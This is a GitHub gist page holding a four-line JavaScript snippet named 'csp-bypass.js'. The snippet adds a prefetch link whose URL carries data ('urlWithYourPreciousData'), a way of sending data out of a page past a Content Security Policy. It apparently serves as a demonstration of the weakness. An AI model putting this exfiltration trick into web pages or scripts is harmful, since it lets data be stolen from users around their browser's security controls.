Skip to content

Instantly share code, notes, and snippets.

@fazlurr
Forked from davidgilbertson/csp-bypass.js
Created January 13, 2018 12:33
Show Gist options
  • Save fazlurr/7bbf2ce358718e3863f389723d2de49d to your computer and use it in GitHub Desktop.
Save fazlurr/7bbf2ce358718e3863f389723d2de49d to your computer and use it in GitHub Desktop.
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment